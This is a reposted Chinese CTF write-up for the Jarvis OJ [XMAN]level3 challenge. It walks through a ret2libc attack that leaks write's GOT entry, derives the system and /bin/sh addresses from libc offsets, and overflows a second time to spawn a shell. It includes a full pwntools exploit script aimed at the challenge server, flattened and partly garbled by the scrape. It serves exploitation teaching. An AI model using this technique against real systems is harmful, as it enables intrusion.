1. 程式人生 > >Jarvis OJ - [XMAN]level3 - Writeup——rop2libc嘗試

Jarvis OJ - [XMAN]level3 - Writeup——rop2libc嘗試

但是 可執行程序 pre 問題 com pad arch 進行 sea

技術分享圖片

這次除了elf程序還附帶一個動態鏈接庫

先看一下,很一般的保護

技術分享圖片

思路分析

在ida中查看,可以確定通過read函數輸入buf進行溢出,但是並沒有看到合適的目標函數

技術分享圖片

但是用ida打開附帶的鏈接庫,可以看到system函數和“/bin/sh”字符串都存在

技術分享圖片

於是思路就確定為read函數溢出->system函數,同時加入參數“/bin/sh”

通過libc.so文件可以得到write、system和/bin/sh的偏移,但system和/bin/sh在內存的地址是未知的

函數在內存中地址為func_addr,在libc中偏移為func_libc則有

      sys_addr - sys_libc == write_addr - write_libc

所以我們可以通過泄露write函數的地址,利用函數在內存中的地址和libc文件中的偏移的差相等,獲得system的地址

構造下圖棧幀,溢出目標為system("/bin/sh"),獲取shell

技術分享圖片

方法論

要利用偏移相等獲得system和bin的地址,首先要泄露得到write的真實地址

可以通過打印write在got表中的地址,獲取其真實地址

所以首先要輸出write_got所對應的地址

所以先構造下圖棧幀,先通過溢出write函數打印write_got

再返回到vuln函數再次執行read,實現二次溢出到system,最終獲取shell

技術分享圖片

exp

#!usr/bin/env python
# encoding:utf-8
from pwn import * #io = process("./level3") io = remote("pwn2.jarvisoj.com",9879) elf = ELF("./level3") writeplt = elf.plt["write"]    #plt和got都在可執行程序中 writegot = elf.got["write"] func = elf.symbols["vulnerable_function"] libc = ELF("./libc-2.19.so") writelibc = libc.symbols["write"]    #libc中可以找到程序中有的/沒有的函數的偏移 syslibc
= libc.symbols["system"] binlibc = libc.search("/bin/sh").next() payload1 = a * 0x88 + f**k + p32(writeplt) + p32(func) + p32(1)+p32(writegot)+p32(4) #溢出地址+返回地址+參數 io.recvuntil("Input:\n") io.sendline(payload1) writeaddr = u32(io.recv(4))    #由於python沒有指針,不能*write_got,需要將其輸出並保存 sysaddr = writeaddr - writelibc + syslibc    #利用偏移量相等獲得其真實地址 binaddr = writeaddr - writelibc + binlibc payload2 = a * 0x88 + f**k + p32(sysaddr) + p32(func) + p32(binaddr) io.recvuntil("Input:\n") io.sendline(payload2) io.interactive() io.close()

技術分享圖片

補充

經@M4X學長提醒,本地運行時優先裝在本地系統中的libc庫,導致實際裝載庫並非技術分享圖片

造成本地地址錯誤,但是遠程沒問題

可以首先進行if判斷,鏈接不同的庫解決

技術分享圖片


作者:辣雞小譜尼
出處:http://www.cnblogs.com/WangAoBo/
如有轉載,榮幸之至!請隨手標明出處;

Jarvis OJ - [XMAN]level3 - Writeup——rop2libc嘗試